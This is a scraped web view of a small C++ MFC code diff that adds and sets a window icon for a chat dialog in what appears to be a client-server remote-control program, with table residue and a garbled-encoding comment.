m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDR_MAINFRAME));
|
||||||
|
SetIcon(m_hIcon, FALSE);
|
||||||
BYTE bToken = COMMAND_NEXT;
|
BYTE bToken = COMMAND_NEXT;
|
||||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||||
|
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ public:
|
|||||||
enum { IDD = IDD_DIALOG_TALK };
|
enum { IDD = IDD_DIALOG_TALK };
|
||||||
CONTEXT_OBJECT* m_ContextObject;
|
CONTEXT_OBJECT* m_ContextObject;
|
||||||
IOCPServer* m_iocpServer;
|
IOCPServer* m_iocpServer;
|
||||||
|
HICON m_hIcon;
|
||||||
protected:
|
protected:
|
||||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user